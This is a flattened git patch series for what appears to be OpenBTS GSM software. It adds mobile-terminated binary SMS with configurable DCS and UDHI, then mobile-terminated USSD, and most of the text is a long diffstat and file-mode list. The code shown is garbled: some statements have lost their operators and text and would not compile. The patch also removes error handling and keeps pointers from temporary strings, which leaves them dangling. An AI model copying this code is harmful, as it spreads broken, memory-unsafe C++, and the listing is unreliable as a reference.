From 5fe798cfaa0ec59b74b6d06b75283d32377e0e21 Mon Sep 17 00:00:00 2001 From: Al Date: Tue, 22 Nov 2016 09:27:21 +0000 Subject: [PATCH 1/4] Fixed MT binary SMS --- Control/L3SMSControl.cpp | 62 ++++++++++++++++++---------------------- 1 file changed, 28 insertions(+), 34 deletions(-) diff --git a/Control/L3SMSControl.cpp b/Control/L3SMSControl.cpp index 06caeb57..7e91b2d9 100644 --- a/Control/L3SMSControl.cpp +++ b/Control/L3SMSControl.cpp @@ -418,50 +418,44 @@ void startMOSMS(const GSM::L3MMMessage *l3msg, MMContext *mmchan) // Return true on success. bool MTSMSMachine::createRPData(RPData &rp_data) { - // TODO: Read MIME Type from smqueue!! - const char *contentType = tran()->mContentType.c_str(); + // OpenBTSCLI: + // rawconfig SMS.MIMEType text/plain + + int dcs=0; + bool udhi=false; + const char *contentType = gConfig.getStr("SMS.MIMEType").c_str(); PROCLOG(DEBUG)<mMessage); if (strncmp(contentType,"text/plain",10)==0) { TLAddress tlcalling = TLAddress(tran()->calling().digits()); - TLUserData tlmessage = TLUserData(tran()->mMessage.c_str()); - PROCLOG(DEBUG)<mMessage.c_str()); rp_data = RPData(this->mRpduRef, RPAddress(gConfig.getStr("SMS.FakeSrcSMSC").c_str()), TLDeliver(tlcalling,tlmessage,0)); - } else if (strncmp(contentType,"application/vnd.3gpp.sms",24)==0) { - BitVector2 RPDUbits(strlen(tran()->mMessage.c_str())*4); - if (!RPDUbits.unhex(tran()->mMessage.c_str())) { - LOG(WARNING) << "Message is zero length which is valid"; - // This is valid continue - return true; - } + } else { - try { // I suspect this is here to catch the above FIXED crash when string is zero length - RLFrame RPDU(RPDUbits); - LOG(DEBUG) << "SMS RPDU: " << RPDU; + // OpenBTSCLI: + //rawconfig SMS.MIMEType "application/vnd.3gpp.sms" + //rawconfig SMS.DCS 0 + //rawconfig SMS.UDHI 0 - rp_data.parse(RPDU); - LOG(DEBUG) << "SMS RP-DATA " << rp_data; - } - catch (SMSReadError) { - LOG(WARNING) << "SMS parsing failed (above L3)"; - // Cause 95, "semantically incorrect message". - //LCH->l2sendf(CPData(L3TI,RPError(95,this->mRpduRef)),3); if you ever use this, it should call l3sendSms - return false; - } - catch (GSM::L3ReadError) { - LOG(WARNING) << "SMS parsing failed (in L3)"; - // TODO:: send error back to the phone - return false; + BitVector2 RPDUbits(strlen(tran()->mMessage.c_str())*4); + RPDUbits.unhex(tran()->mMessage.c_str()); // hex to binary string + RPDUbits.LSB8MSB(); // bit flip ready for Tx + TLAddress tlcalling = TLAddress(tran()->calling().digits()); + const char *dcsStr = gConfig.getStr("SMS.DCS").c_str(); + if (strncmp(dcsStr,"4",1)==0) { + dcs=1; // 8 bit hex } - catch (...) { - LOG(ERR) << "Unexpected throw"; // cryptic, but should never happen. - return false; + const char *udhiStr = gConfig.getStr("SMS.UDHI").c_str(); + if (strncmp(udhiStr,"1",1)==0) { + udhi=true; // PDU has UDH } - } else { - LOG(WARNING) << "Unsupported content type (in incoming SIP MESSAGE) -- type: " << contentType; - return false; - } + TLUserData tlmessage = TLUserData(dcs,RPDUbits,strlen(tran()->mMessage.c_str())/2,udhi); + rp_data = RPData(this->mRpduRef, + RPAddress(gConfig.getStr("SMS.FakeSrcSMSC").c_str()), + TLDeliver(tlcalling,tlmessage,0)); + } + LOG(DEBUG) << "contentType: " << contentType << "\nrp_data: " << rp_data; return true; } From 91da3fda67e0716159f56808413b5174f9f37885 Mon Sep 17 00:00:00 2001 From: Al Date: Tue, 22 Nov 2016 09:52:23 +0000 Subject: [PATCH 2/4] typo with dcs=4 --- Control/L3SMSControl.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Control/L3SMSControl.cpp b/Control/L3SMSControl.cpp index 7e91b2d9..265ad4c2 100644 --- a/Control/L3SMSControl.cpp +++ b/Control/L3SMSControl.cpp @@ -444,7 +444,7 @@ bool MTSMSMachine::createRPData(RPData &rp_data) TLAddress tlcalling = TLAddress(tran()->calling().digits()); const char *dcsStr = gConfig.getStr("SMS.DCS").c_str(); if (strncmp(dcsStr,"4",1)==0) { - dcs=1; // 8 bit hex + dcs=4; // 8 bit hex } const char *udhiStr = gConfig.getStr("SMS.UDHI").c_str(); if (strncmp(udhiStr,"1",1)==0) { From 6c535085837cbbded5934a45b95261884f2852f2 Mon Sep 17 00:00:00 2001 From: Al Date: Fri, 24 Feb 2017 11:40:33 +0000 Subject: [PATCH 3/4] MT USSD & README --- AUTHORS | 0 CLI/CLI.cpp | 0 CLI/CLI.h | 0 CLI/CLIBase.cpp | 0 CLI/CLICommands.cpp | 29 +- CLI/CLIServer.cpp | 6 +- CLI/Makefile.am | 0 CLI/README.CLI | 0 COPYING | 0 ChangeLog | 0 Control/CBS.cpp | 0 Control/CBS.h | 0 Control/CodecSet.h | 0 Control/ControlCommon.h | 0 Control/ControlTransfer.cpp | 0 Control/ControlTransfer.h | 0 Control/DCCHDispatch.cpp | 0 Control/L3CallControl.cpp | 0 Control/L3CallControl.h | 0 Control/L3Handover.cpp | 0 Control/L3Handover.h | 0 Control/L3LogicalChannel.cpp | 0 Control/L3LogicalChannel.h | 0 Control/L3MMLayer.cpp | 29 ++ Control/L3MMLayer.h | 2 + Control/L3MobilityManagement.cpp | 0 Control/L3MobilityManagement.h | 0 Control/L3SMSControl.cpp | 4 +- Control/L3SMSControl.h | 0 Control/L3StateMachine.cpp | 6 + Control/L3StateMachine.h | 0 Control/L3SupServ.cpp | 111 +++++++- Control/L3SupServ.h | 1 + Control/L3TermCause.cpp | 0 Control/L3TermCause.h | 0 Control/L3TranEntry.cpp | 17 +- Control/L3TranEntry.h | 4 + Control/L3Utils.cpp | 0 Control/L3Utils.h | 0 Control/Makefile.am | 0 Control/PagingEntry.cpp | 0 Control/PagingEntry.h | 0 Control/README.Control | 0 Control/RRLPServer.cpp | 0 Control/RRLPServer.h | 0 Control/RRLP_PDU_Test.cpp | 0 Control/TMSITable.cpp | 0 Control/TMSITable.h | 0 Control/ladders.awk | 0 GPRS/BSSG.cpp | 0 GPRS/BSSG.h | 0 GPRS/BSSGMessages.cpp | 0 GPRS/BSSGMessages.h | 0 GPRS/ByteVector.cpp | 0 GPRS/ByteVector.h | 0 GPRS/CS4.txt | 0 GPRS/FEC.cpp | 0 GPRS/FEC.h | 0 GPRS/GPRSCLI.cpp | 0 GPRS/GPRSExport.h | 0 GPRS/GPRSInternal.h | 0 GPRS/GPRSRLC.h | 0 GPRS/GPRSTDMA.h | 0 GPRS/MAC.cpp | 0 GPRS/MAC.h | 0 GPRS/MSInfo.cpp | 0 GPRS/MSInfo.h | 0 GPRS/Makefile.am | 0 GPRS/MsgBase.cpp | 0 GPRS/MsgBase.h | 0 GPRS/RLC.cpp | 0 GPRS/RLCEngine.cpp | 0 GPRS/RLCEngine.h | 0 GPRS/RLCHdr.h | 0 GPRS/RLCMessages.cpp | 0 GPRS/RLCMessages.h | 0 GPRS/RList.h | 0 GPRS/ScalarTypes.h | 0 GPRS/TBF.cpp | 0 GPRS/TBF.h | 0 GPRS/makefile.pat | 0 GPRS/makefile.tests | 0 GPRS/notes.txt | 0 GPRS/pat.txt | 0 GPRS/pinghttp.c | 0 GPRS/todo.txt | 0 GSM/AppInfTest.cpp | 0 GSM/GSM610Tables.cpp | 0 GSM/GSM610Tables.h | 0 GSM/GSMCCCH.cpp | 0 GSM/GSMCCCH.h | 0 GSM/GSMChannelHistory.cpp | 0 GSM/GSMChannelHistory.h | 0 GSM/GSMCommon.cpp | 0 GSM/GSMCommon.h | 0 GSM/GSMConfig.cpp | 0 GSM/GSMConfig.h | 0 GSM/GSML1FEC.cpp | 0 GSM/GSML1FEC.h | 0 GSM/GSML2LAPDm.cpp | 0 GSM/GSML2LAPDm.h | 0 GSM/GSML3CCElements.cpp | 0 GSM/GSML3CCElements.h | 0 GSM/GSML3CCMessages.cpp | 0 GSM/GSML3CCMessages.h | 2 +- GSM/GSML3CommonElements.cpp | 0 GSM/GSML3CommonElements.h | 0 GSM/GSML3GPRSElements.cpp | 0 GSM/GSML3GPRSElements.h | 0 GSM/GSML3MMElements.cpp | 0 GSM/GSML3MMElements.h | 0 GSM/GSML3MMMessages.cpp | 0 GSM/GSML3MMMessages.h | 0 GSM/GSML3Message.cpp | 0 GSM/GSML3Message.h | 0 GSM/GSML3RRElements.cpp | 0 GSM/GSML3RRElements.h | 0 GSM/GSML3RRMessages.cpp | 0 GSM/GSML3RRMessages.h | 0 GSM/GSML3SSMessages.cpp | 4 +- GSM/GSML3SSMessages.h | 0 GSM/GSMLogicalChannel.cpp | 0 GSM/GSMLogicalChannel.h | 0 GSM/GSMRadioResource.cpp | 0 GSM/GSMRadioResource.h | 0 GSM/GSMSMSCBL3Messages.cpp | 0 GSM/GSMSMSCBL3Messages.h | 0 GSM/GSMTAPDump.cpp | 0 GSM/GSMTAPDump.h | 0 GSM/GSMTDMA.cpp | 0 GSM/GSMTDMA.h | 0 GSM/GSMTransfer.cpp | 0 GSM/GSMTransfer.h | 0 GSM/Makefile.am | 0 GSM/PhysicalStatus.cpp | 0 GSM/PhysicalStatus.h | 0 GSM/PowerManager.cpp | 0 GSM/PowerManager.h | 0 GSM/gsmtap.h | 0 GSMShare/A51.cpp | 0 GSMShare/A51.h | 0 GSMShare/A51Test.cpp | 0 GSMShare/AMRTest.cpp | 0 GSMShare/AmrCoder.cpp | 0 GSMShare/AmrCoder.h | 0 GSMShare/GSM503Tables.cpp | 0 GSMShare/GSM503Tables.h | 0 GSMShare/L3Enums.cpp | 0 GSMShare/L3Enums.h | 0 GSMShare/Makefile.am | 0 GSMShare/Viterbi.h | 0 GSMShare/ViterbiR204.cpp | 0 GSMShare/ViterbiR204.h | 0 GSMShare/ViterbiTest.cpp | 0 Globals/GlobalVars.cpp | 0 Globals/Globals.cpp | 0 Globals/Globals.h | 0 Globals/Makefile.am | 0 INSTALL | 0 INSTALLATION | 0 LEGAL | 0 Makefile.am | 0 Makefile.common | 0 NEWS | 0 Peering/Makefile.am | 0 Peering/NeighborTable.cpp | 0 Peering/NeighborTable.h | 0 Peering/Peering.cpp | 0 Peering/Peering.h | 0 README | 254 ++++++------------ README.APIs.md | 0 SGSNGGSN/GPRSL3Messages.cpp | 21 ++ SGSNGGSN/GPRSL3Messages.h | 0 SGSNGGSN/Ggsn.cpp | 0 SGSNGGSN/Ggsn.h | 0 SGSNGGSN/LLC.cpp | 0 SGSNGGSN/LLC.h | 0 SGSNGGSN/Makefile.am | 0 SGSNGGSN/Sgsn.cpp | 0 SGSNGGSN/Sgsn.h | 0 SGSNGGSN/SgsnBase.h | 0 SGSNGGSN/SgsnCli.cpp | 0 SGSNGGSN/SgsnExport.h | 0 SGSNGGSN/iputils.cpp | 0 SGSNGGSN/miniggsn.cpp | 0 SGSNGGSN/miniggsn.h | 0 SIP/Makefile.am | 0 SIP/SIP2Interface.cpp | 0 SIP/SIP2Interface.h | 0 SIP/SIPBNF.txt | 0 SIP/SIPBase.cpp | 0 SIP/SIPBase.h | 0 SIP/SIPDialog.cpp | 0 SIP/SIPDialog.h | 0 SIP/SIPExport.h | 0 SIP/SIPMessage.cpp | 0 SIP/SIPMessage.h | 0 SIP/SIPParse.cpp | 0 SIP/SIPParse.h | 0 SIP/SIPRtp.cpp | 0 SIP/SIPRtp.h | 0 SIP/SIPTransaction.cpp | 0 SIP/SIPTransaction.h | 0 SIP/SIPUtility.cpp | 0 SIP/SIPUtility.h | 0 SMS/Makefile.am | 0 SMS/SMSMessages.cpp | 0 SMS/SMSMessages.h | 6 - SMS/SMSTransfer.cpp | 0 SMS/SMSTransfer.h | 0 Scanning/Makefile.am | 0 Scanning/Scanning.cpp | 0 Scanning/Scanning.h | 0 TRXManager/Makefile.am | 0 TRXManager/README.TRXManager | 0 TRXManager/TRXManager.cpp | 0 TRXManager/TRXManager.h | 0 Transceiver52M/Complex.h | 0 Transceiver52M/DummyLoad.cpp | 0 Transceiver52M/DummyLoad.h | 0 Transceiver52M/Makefile.am | 0 Transceiver52M/README | 0 Transceiver52M/README.DFEsymbolspaced | 0 Transceiver52M/README.Talgorithm | 0 Transceiver52M/Resampler.cpp | 0 Transceiver52M/Resampler.h | 0 Transceiver52M/Transceiver.cpp | 0 Transceiver52M/Transceiver.h | 0 Transceiver52M/UHDDevice.cpp | 0 Transceiver52M/USRPDevice.cpp | 0 Transceiver52M/USRPDevice.h | 0 Transceiver52M/convert.c | 0 Transceiver52M/convert.h | 0 Transceiver52M/convolve.c | 0 Transceiver52M/convolve.h | 0 Transceiver52M/inband-signaling-usb | 0 Transceiver52M/laurent.m | 0 Transceiver52M/pulseApproximate.m | 0 Transceiver52M/radioClock.cpp | 0 Transceiver52M/radioClock.h | 0 Transceiver52M/radioDevice.h | 0 Transceiver52M/radioInterface.cpp | 0 Transceiver52M/radioInterface.h | 0 Transceiver52M/radioInterfaceResamp.cpp | 0 Transceiver52M/radioVector.cpp | 0 Transceiver52M/radioVector.h | 0 Transceiver52M/runTransceiver.cpp | 0 Transceiver52M/sigProcLib.cpp | 0 Transceiver52M/sigProcLib.h | 0 TransceiverRAD1/Complex.h | 0 TransceiverRAD1/DummyLoad.cpp | 0 TransceiverRAD1/DummyLoad.h | 0 TransceiverRAD1/FactoryCalibration.cpp | 0 TransceiverRAD1/FactoryCalibration.h | 0 TransceiverRAD1/Makefile.am | 0 TransceiverRAD1/PowerScanner.cpp | 0 TransceiverRAD1/RAD1Cmd.cpp | 0 TransceiverRAD1/RAD1Device.cpp | 0 TransceiverRAD1/RAD1Device.h | 0 TransceiverRAD1/RAD1RxRawPower.cpp | 0 TransceiverRAD1/RAD1RxRawPowerSweep.cpp | 0 TransceiverRAD1/RAD1SN.cpp | 0 TransceiverRAD1/RAD1ping.cpp | 0 TransceiverRAD1/README | 0 TransceiverRAD1/README.DFEsymbolspaced | 0 TransceiverRAD1/README.Talgorithm | 0 TransceiverRAD1/Transceiver.cpp | 0 TransceiverRAD1/Transceiver.h | 0 TransceiverRAD1/ad9862.h | 0 TransceiverRAD1/bytesex.h | 0 TransceiverRAD1/commands.h | 0 TransceiverRAD1/ezusb.ihx | 0 TransceiverRAD1/fpga.rbf | Bin TransceiverRAD1/fpga/README.RAD1 | 0 .../fpga/inband_lib/chan_fifo_reader.v | 0 .../fpga/inband_lib/channel_demux.v | 0 TransceiverRAD1/fpga/inband_lib/channel_ram.v | 0 TransceiverRAD1/fpga/inband_lib/cmd_reader.v | 0 .../fpga/inband_lib/data_packet_fifo.v | 0 .../fpga/inband_lib/packet_builder.v | 0 TransceiverRAD1/fpga/inband_lib/register_io.v | 0 .../fpga/inband_lib/rx_buffer_inband.v | 0 .../fpga/inband_lib/test_comparator.v | 0 .../fpga/inband_lib/tx_buffer_inband.v | 0 TransceiverRAD1/fpga/inband_lib/tx_packer.v | 0 .../fpga/inband_lib/usb_fifo_reader.v | 0 .../fpga/inband_lib/usb_fifo_writer.v | 0 .../fpga/inband_lib/usb_packet_fifo.v | 0 TransceiverRAD1/fpga/megacells/accum32.bsf | 0 TransceiverRAD1/fpga/megacells/accum32.cmp | 0 TransceiverRAD1/fpga/megacells/accum32.inc | 0 TransceiverRAD1/fpga/megacells/accum32.v | 0 TransceiverRAD1/fpga/megacells/accum32_bb.v | 0 TransceiverRAD1/fpga/megacells/accum32_inst.v | 0 TransceiverRAD1/fpga/megacells/add32.bsf | 0 TransceiverRAD1/fpga/megacells/add32.cmp | 0 TransceiverRAD1/fpga/megacells/add32.inc | 0 TransceiverRAD1/fpga/megacells/add32.v | 0 TransceiverRAD1/fpga/megacells/add32_bb.v | 0 TransceiverRAD1/fpga/megacells/add32_inst.v | 0 TransceiverRAD1/fpga/megacells/addsub16.bsf | 0 TransceiverRAD1/fpga/megacells/addsub16.cmp | 0 TransceiverRAD1/fpga/megacells/addsub16.inc | 0 TransceiverRAD1/fpga/megacells/addsub16.v | 0 TransceiverRAD1/fpga/megacells/addsub16_bb.v | 0 .../fpga/megacells/addsub16_inst.v | 0 TransceiverRAD1/fpga/megacells/bustri.bsf | 0 TransceiverRAD1/fpga/megacells/bustri.cmp | 0 TransceiverRAD1/fpga/megacells/bustri.inc | 0 TransceiverRAD1/fpga/megacells/bustri.v | 0 TransceiverRAD1/fpga/megacells/bustri_bb.v | 0 TransceiverRAD1/fpga/megacells/bustri_inst.v | 0 TransceiverRAD1/fpga/megacells/clk_doubler.v | 0 .../fpga/megacells/clk_doubler_bb.v | 0 TransceiverRAD1/fpga/megacells/dspclkpll.v | 0 TransceiverRAD1/fpga/megacells/dspclkpll_bb.v | 0 TransceiverRAD1/fpga/megacells/fifo_1kx16.bsf | 0 TransceiverRAD1/fpga/megacells/fifo_1kx16.cmp | 0 TransceiverRAD1/fpga/megacells/fifo_1kx16.inc | 0 TransceiverRAD1/fpga/megacells/fifo_1kx16.v | 0 .../fpga/megacells/fifo_1kx16_bb.v | 0 .../fpga/megacells/fifo_1kx16_inst.v | 0 TransceiverRAD1/fpga/megacells/fifo_2k.v | 0 TransceiverRAD1/fpga/megacells/fifo_2k_bb.v | 0 TransceiverRAD1/fpga/megacells/fifo_4k.v | 0 TransceiverRAD1/fpga/megacells/fifo_4k_18.v | 0 TransceiverRAD1/fpga/megacells/fifo_4k_bb.v | 0 .../fpga/megacells/fifo_4kx16_dc.bsf | 0 .../fpga/megacells/fifo_4kx16_dc.cmp | 0 .../fpga/megacells/fifo_4kx16_dc.inc | 0 .../fpga/megacells/fifo_4kx16_dc.v | 0 .../fpga/megacells/fifo_4kx16_dc_bb.v | 0 .../fpga/megacells/fifo_4kx16_dc_inst.v | 0 .../fpga/megacells/mylpm_addsub.bsf | 0 .../fpga/megacells/mylpm_addsub.cmp | 0 .../fpga/megacells/mylpm_addsub.inc | 0 TransceiverRAD1/fpga/megacells/mylpm_addsub.v | 0 .../fpga/megacells/mylpm_addsub_bb.v | 0 .../fpga/megacells/mylpm_addsub_inst.v | 0 TransceiverRAD1/fpga/megacells/pll.v | 0 TransceiverRAD1/fpga/megacells/pll_bb.v | 0 TransceiverRAD1/fpga/megacells/pll_inst.v | 0 TransceiverRAD1/fpga/megacells/sub32.bsf | 0 TransceiverRAD1/fpga/megacells/sub32.cmp | 0 TransceiverRAD1/fpga/megacells/sub32.inc | 0 TransceiverRAD1/fpga/megacells/sub32.v | 0 TransceiverRAD1/fpga/megacells/sub32_bb.v | 0 TransceiverRAD1/fpga/megacells/sub32_inst.v | 0 TransceiverRAD1/fpga/models/bustri.v | 0 TransceiverRAD1/fpga/models/fifo.v | 0 TransceiverRAD1/fpga/models/fifo_1c_1k.v | 0 TransceiverRAD1/fpga/models/fifo_1c_2k.v | 0 TransceiverRAD1/fpga/models/fifo_1c_4k.v | 0 TransceiverRAD1/fpga/models/fifo_1k.v | 0 TransceiverRAD1/fpga/models/fifo_2k.v | 0 TransceiverRAD1/fpga/models/fifo_4k.v | 0 TransceiverRAD1/fpga/models/fifo_4k_18.v | 0 TransceiverRAD1/fpga/models/pll.v | 0 TransceiverRAD1/fpga/models/ssram.v | 0 TransceiverRAD1/fpga/sdr_lib/adc_interface.v | 0 TransceiverRAD1/fpga/sdr_lib/atr_delay.v | 0 TransceiverRAD1/fpga/sdr_lib/bidir_reg.v | 0 .../fpga/sdr_lib/cic_dec_shifter.v | 0 TransceiverRAD1/fpga/sdr_lib/cic_decim.v | 0 .../fpga/sdr_lib/cic_int_shifter.v | 0 TransceiverRAD1/fpga/sdr_lib/cic_interp.v | 0 TransceiverRAD1/fpga/sdr_lib/clk_divider.v | 0 TransceiverRAD1/fpga/sdr_lib/cordic.v | 0 TransceiverRAD1/fpga/sdr_lib/cordic_stage.v | 0 TransceiverRAD1/fpga/sdr_lib/ddc.v | 0 TransceiverRAD1/fpga/sdr_lib/dpram.v | 0 TransceiverRAD1/fpga/sdr_lib/duc.v | 0 TransceiverRAD1/fpga/sdr_lib/ext_fifo.v | 0 TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.bsf | 0 TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.cmp | 0 TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.inc | 0 TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.v | 0 TransceiverRAD1/fpga/sdr_lib/fifo_1kx16_bb.v | 0 .../fpga/sdr_lib/fifo_1kx16_inst.v | 0 .../fpga/sdr_lib/fifo_4kx16_dc.bsf | 0 .../fpga/sdr_lib/fifo_4kx16_dc.cmp | 0 .../fpga/sdr_lib/fifo_4kx16_dc.inc | 0 TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.v | 0 .../fpga/sdr_lib/fifo_4kx16_dc_bb.v | 0 .../fpga/sdr_lib/fifo_4kx16_dc_inst.v | 0 .../fpga/sdr_lib/gen_cordic_consts.py | 0 TransceiverRAD1/fpga/sdr_lib/gen_sync.v | 0 TransceiverRAD1/fpga/sdr_lib/hb/acc.v | 0 TransceiverRAD1/fpga/sdr_lib/hb/coeff_rom.v | 0 .../fpga/sdr_lib/hb/halfband_decim.v | 0 .../fpga/sdr_lib/hb/halfband_interp.v | 0 TransceiverRAD1/fpga/sdr_lib/hb/mac.v | 0 TransceiverRAD1/fpga/sdr_lib/hb/mult.v | 0 TransceiverRAD1/fpga/sdr_lib/hb/ram16_2port.v | 0 TransceiverRAD1/fpga/sdr_lib/hb/ram16_2sum.v | 0 TransceiverRAD1/fpga/sdr_lib/hb/ram32_2sum.v | 0 TransceiverRAD1/fpga/sdr_lib/io_pins.v | 0 TransceiverRAD1/fpga/sdr_lib/master_control.v | 0 .../fpga/sdr_lib/master_control_multi.v | 0 TransceiverRAD1/fpga/sdr_lib/phase_acc.v | 0 TransceiverRAD1/fpga/sdr_lib/ram.v | 0 TransceiverRAD1/fpga/sdr_lib/ram16.v | 0 TransceiverRAD1/fpga/sdr_lib/ram32.v | 0 TransceiverRAD1/fpga/sdr_lib/ram64.v | 0 TransceiverRAD1/fpga/sdr_lib/rssi.v | 0 TransceiverRAD1/fpga/sdr_lib/rx_buffer.v | 0 TransceiverRAD1/fpga/sdr_lib/rx_chain.v | 0 TransceiverRAD1/fpga/sdr_lib/rx_chain_dual.v | 0 TransceiverRAD1/fpga/sdr_lib/rx_dcoffset.v | 0 TransceiverRAD1/fpga/sdr_lib/serial_io.v | 0 TransceiverRAD1/fpga/sdr_lib/setting_reg.v | 0 .../fpga/sdr_lib/setting_reg_masked.v | 0 TransceiverRAD1/fpga/sdr_lib/sign_extend.v | 0 TransceiverRAD1/fpga/sdr_lib/strobe_gen.v | 0 TransceiverRAD1/fpga/sdr_lib/tx_buffer.v | 0 TransceiverRAD1/fpga/sdr_lib/tx_chain.v | 0 TransceiverRAD1/fpga/sdr_lib/tx_chain_hb.v | 0 .../include/common_config_1rxhb_1tx.vh | 0 .../include/common_config_2rxhb_2tx.vh | 0 .../toplevel/include/common_config_bottom.vh | 0 .../fpga/toplevel/usrp_inband_usb/config.vh | 0 .../usrp_inband_usb/usrp_inband_usb.csf | 0 .../usrp_inband_usb/usrp_inband_usb.esf | 0 .../usrp_inband_usb/usrp_inband_usb.pin | 0 .../usrp_inband_usb/usrp_inband_usb.psf | 0 .../usrp_inband_usb/usrp_inband_usb.qpf | 0 .../usrp_inband_usb/usrp_inband_usb.qsf | 0 .../usrp_inband_usb/usrp_inband_usb.v | 0 TransceiverRAD1/fpga_regs.h | 0 TransceiverRAD1/fusb.cpp | 0 TransceiverRAD1/fusb.h | 0 TransceiverRAD1/i2c.h | 0 TransceiverRAD1/ids.h | 0 TransceiverRAD1/inband-signaling-usb | 0 TransceiverRAD1/interfaces.h | 0 TransceiverRAD1/pulseApproximate.m | 0 TransceiverRAD1/radioDevice.h | 0 TransceiverRAD1/radioInterface.cpp | 0 TransceiverRAD1/radioInterface.h | 0 TransceiverRAD1/rnrad1.h | 0 TransceiverRAD1/rnrad1Core.cpp | 0 TransceiverRAD1/rnrad1Core.h | 0 TransceiverRAD1/rnrad1Rx.cpp | 0 TransceiverRAD1/rnrad1Tx.cpp | 0 TransceiverRAD1/runTransceiver.cpp | 0 TransceiverRAD1/sigProcLib.cpp | 0 TransceiverRAD1/sigProcLib.h | 0 TransceiverRAD1/sigProcLibTest.cpp | 0 TransceiverRAD1/spi.h | 0 apps/.gdbinit | 0 apps/GetConfigurationKeys.cpp | 0 apps/JSONEventsClient.cpp | 0 apps/Makefile.am | 0 apps/OpenBTS.cpp | 0 apps/OpenBTS.example.sql | 0 apps/OpenBTSCLI.cpp | 0 apps/OpenBTSConfig.h | 0 apps/iptables.rules | 0 apps/logrotated.OpenBTS | 0 apps/openbts.conf | 0 apps/rsyslogd.OpenBTS.conf | 0 config/Makefile.am | 0 config/ax_check_compile_flag.m4 | 0 config/ax_ext.m4 | 0 config/ax_gcc_x86_avx_xgetbv.m4 | 0 config/ax_gcc_x86_cpuid.m4 | 0 config/pkg.m4 | 0 config/test_ortp_version.cpp | 0 configure.ac | 0 ctags.sh | 0 debian/changelog | 0 debian/compat | 0 doc/CodingStandard | 0 doc/Makefile.am | 0 tools/Makefile.am | 0 tools/Makefile.standalone | 0 tools/README | 0 tools/hata.cpp | 0 478 files changed, 295 insertions(+), 201 deletions(-) mode change 100644 => 100755 AUTHORS mode change 100644 => 100755 CLI/CLI.cpp mode change 100644 => 100755 CLI/CLI.h mode change 100644 => 100755 CLI/CLIBase.cpp mode change 100644 => 100755 CLI/CLICommands.cpp mode change 100644 => 100755 CLI/CLIServer.cpp mode change 100644 => 100755 CLI/Makefile.am mode change 100644 => 100755 CLI/README.CLI mode change 100644 => 100755 COPYING mode change 100644 => 100755 ChangeLog mode change 100644 => 100755 Control/CBS.cpp mode change 100644 => 100755 Control/CBS.h mode change 100644 => 100755 Control/CodecSet.h mode change 100644 => 100755 Control/ControlCommon.h mode change 100644 => 100755 Control/ControlTransfer.cpp mode change 100644 => 100755 Control/ControlTransfer.h mode change 100644 => 100755 Control/DCCHDispatch.cpp mode change 100644 => 100755 Control/L3CallControl.cpp mode change 100644 => 100755 Control/L3CallControl.h mode change 100644 => 100755 Control/L3Handover.cpp mode change 100644 => 100755 Control/L3Handover.h mode change 100644 => 100755 Control/L3LogicalChannel.cpp mode change 100644 => 100755 Control/L3LogicalChannel.h mode change 100644 => 100755 Control/L3MMLayer.cpp mode change 100644 => 100755 Control/L3MMLayer.h mode change 100644 => 100755 Control/L3MobilityManagement.cpp mode change 100644 => 100755 Control/L3MobilityManagement.h mode change 100644 => 100755 Control/L3SMSControl.cpp mode change 100644 => 100755 Control/L3SMSControl.h mode change 100644 => 100755 Control/L3StateMachine.cpp mode change 100644 => 100755 Control/L3StateMachine.h mode change 100644 => 100755 Control/L3SupServ.cpp mode change 100644 => 100755 Control/L3SupServ.h mode change 100644 => 100755 Control/L3TermCause.cpp mode change 100644 => 100755 Control/L3TermCause.h mode change 100644 => 100755 Control/L3TranEntry.cpp mode change 100644 => 100755 Control/L3TranEntry.h mode change 100644 => 100755 Control/L3Utils.cpp mode change 100644 => 100755 Control/L3Utils.h mode change 100644 => 100755 Control/Makefile.am mode change 100644 => 100755 Control/PagingEntry.cpp mode change 100644 => 100755 Control/PagingEntry.h mode change 100644 => 100755 Control/README.Control mode change 100644 => 100755 Control/RRLPServer.cpp mode change 100644 => 100755 Control/RRLPServer.h mode change 100644 => 100755 Control/RRLP_PDU_Test.cpp mode change 100644 => 100755 Control/TMSITable.cpp mode change 100644 => 100755 Control/TMSITable.h mode change 100644 => 100755 Control/ladders.awk mode change 100644 => 100755 GPRS/BSSG.cpp mode change 100644 => 100755 GPRS/BSSG.h mode change 100644 => 100755 GPRS/BSSGMessages.cpp mode change 100644 => 100755 GPRS/BSSGMessages.h mode change 100644 => 100755 GPRS/ByteVector.cpp mode change 100644 => 100755 GPRS/ByteVector.h mode change 100644 => 100755 GPRS/CS4.txt mode change 100644 => 100755 GPRS/FEC.cpp mode change 100644 => 100755 GPRS/FEC.h mode change 100644 => 100755 GPRS/GPRSCLI.cpp mode change 100644 => 100755 GPRS/GPRSExport.h mode change 100644 => 100755 GPRS/GPRSInternal.h mode change 100644 => 100755 GPRS/GPRSRLC.h mode change 100644 => 100755 GPRS/GPRSTDMA.h mode change 100644 => 100755 GPRS/MAC.cpp mode change 100644 => 100755 GPRS/MAC.h mode change 100644 => 100755 GPRS/MSInfo.cpp mode change 100644 => 100755 GPRS/MSInfo.h mode change 100644 => 100755 GPRS/Makefile.am mode change 100644 => 100755 GPRS/MsgBase.cpp mode change 100644 => 100755 GPRS/MsgBase.h mode change 100644 => 100755 GPRS/RLC.cpp mode change 100644 => 100755 GPRS/RLCEngine.cpp mode change 100644 => 100755 GPRS/RLCEngine.h mode change 100644 => 100755 GPRS/RLCHdr.h mode change 100644 => 100755 GPRS/RLCMessages.cpp mode change 100644 => 100755 GPRS/RLCMessages.h mode change 100644 => 100755 GPRS/RList.h mode change 100644 => 100755 GPRS/ScalarTypes.h mode change 100644 => 100755 GPRS/TBF.cpp mode change 100644 => 100755 GPRS/TBF.h mode change 100644 => 100755 GPRS/makefile.pat mode change 100644 => 100755 GPRS/makefile.tests mode change 100644 => 100755 GPRS/notes.txt mode change 100644 => 100755 GPRS/pat.txt mode change 100644 => 100755 GPRS/pinghttp.c mode change 100644 => 100755 GPRS/todo.txt mode change 100644 => 100755 GSM/AppInfTest.cpp mode change 100644 => 100755 GSM/GSM610Tables.cpp mode change 100644 => 100755 GSM/GSM610Tables.h mode change 100644 => 100755 GSM/GSMCCCH.cpp mode change 100644 => 100755 GSM/GSMCCCH.h mode change 100644 => 100755 GSM/GSMChannelHistory.cpp mode change 100644 => 100755 GSM/GSMChannelHistory.h mode change 100644 => 100755 GSM/GSMCommon.cpp mode change 100644 => 100755 